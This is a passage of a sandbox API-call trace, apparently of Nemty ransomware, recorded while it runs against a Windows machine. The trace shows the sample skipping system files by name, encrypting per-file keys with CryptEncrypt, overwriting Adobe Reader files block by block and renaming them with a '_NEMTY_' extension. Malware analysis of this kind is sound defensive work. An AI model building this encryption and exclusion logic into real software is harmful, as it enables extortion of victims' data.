[0203.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.731] CloseHandle (hObject=0xffffffff) returned 0 [0203.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0203.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0203.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.732] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-ucs2._nemty_kgobjgd_")) returned 0 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0203.732] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-V", cAlternateFileName="ETEN-B~3")) returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2=".") returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="..") returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="...") returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="windows") returned -1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="rsa") returned -1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="NTDETECT.COM") returned -1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="ntldr") returned -1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="MSDOS.SYS") returned -1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="IO.SYS") returned -1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="boot.ini") returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="boot.ini") returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0203.732] lstrcmpiW (lpString1="ETen-B5-V", lpString2="ntuser.dat") returned -1 [0203.733] lstrcmpiW (lpString1="ETen-B5-V", lpString2="desktop.ini") returned 1 [0203.733] lstrcmpiW (lpString1="ETen-B5-V", lpString2="CONFIG.SYS") returned 1 [0203.733] lstrcmpiW (lpString1="ETen-B5-V", lpString2="RECYCLER") returned -1 [0203.733] lstrcmpiW (lpString1="ETen-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0203.733] lstrcmpiW (lpString1="ETen-B5-V", lpString2="bootmgr") returned 1 [0203.733] lstrcmpiW (lpString1="ETen-B5-V", lpString2="programdata") returned -1 [0203.733] lstrcmpiW (lpString1="ETen-B5-V", lpString2="appdata") returned 1 [0203.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-V", lpUsedDefaultChar=0x0) returned 9 [0203.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-V", lpUsedDefaultChar=0x0) returned 9 [0203.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-V", lpUsedDefaultChar=0x0) returned 9 [0203.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-V", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-V", lpUsedDefaultChar=0x0) returned 9 [0203.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.733] Sleep (dwMilliseconds=0x5) [0203.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d14ea30, dwHighDateTime=0x1d561e8)) [0203.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d14ea30, dwHighDateTime=0x1d561e8)) [0203.734] GetLastError () returned 0x5 [0203.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.734] GetLastError () returned 0x5 [0203.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.734] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0203.734] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="8KKymtbb9u6OUW9+AtnheT737f2Q50MhDN3iEq8i+lrHNDjW4yBypCqT36qnvbnI\r\nw0jf5WS9ZerF3n0tQXMLOwyyROeBxXFfyG4lyT2X+Y0bskMFJ52A0by3N9t1PcWt\r\nnGgqicoe+9SzvpWgz1WkIsI82TB67SP6iddJ3XxG/DxTqTu7j57z+d8bSaSLT7/W\r\nTbUFCr6B8Y4ER3W9I/ydqEycizkc9+kkTktSCw3JdgOWnH/QYCFN/gZMyRm5X7Qh\r\nx2qJ7ajbvfDxMD/4+WKpz9ELsO7/+hB1M6/eu7FA0/xUfO2aIpfhPnioUO4dOiu/\r\nbp/7DwaRFsdZqp8EfgFXMg==\r\n", pcchString=0x653e91c) returned 1 [0203.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0203.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0203.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0203.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.735] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.825] ReadFile (in: hFile=0xffffffff, 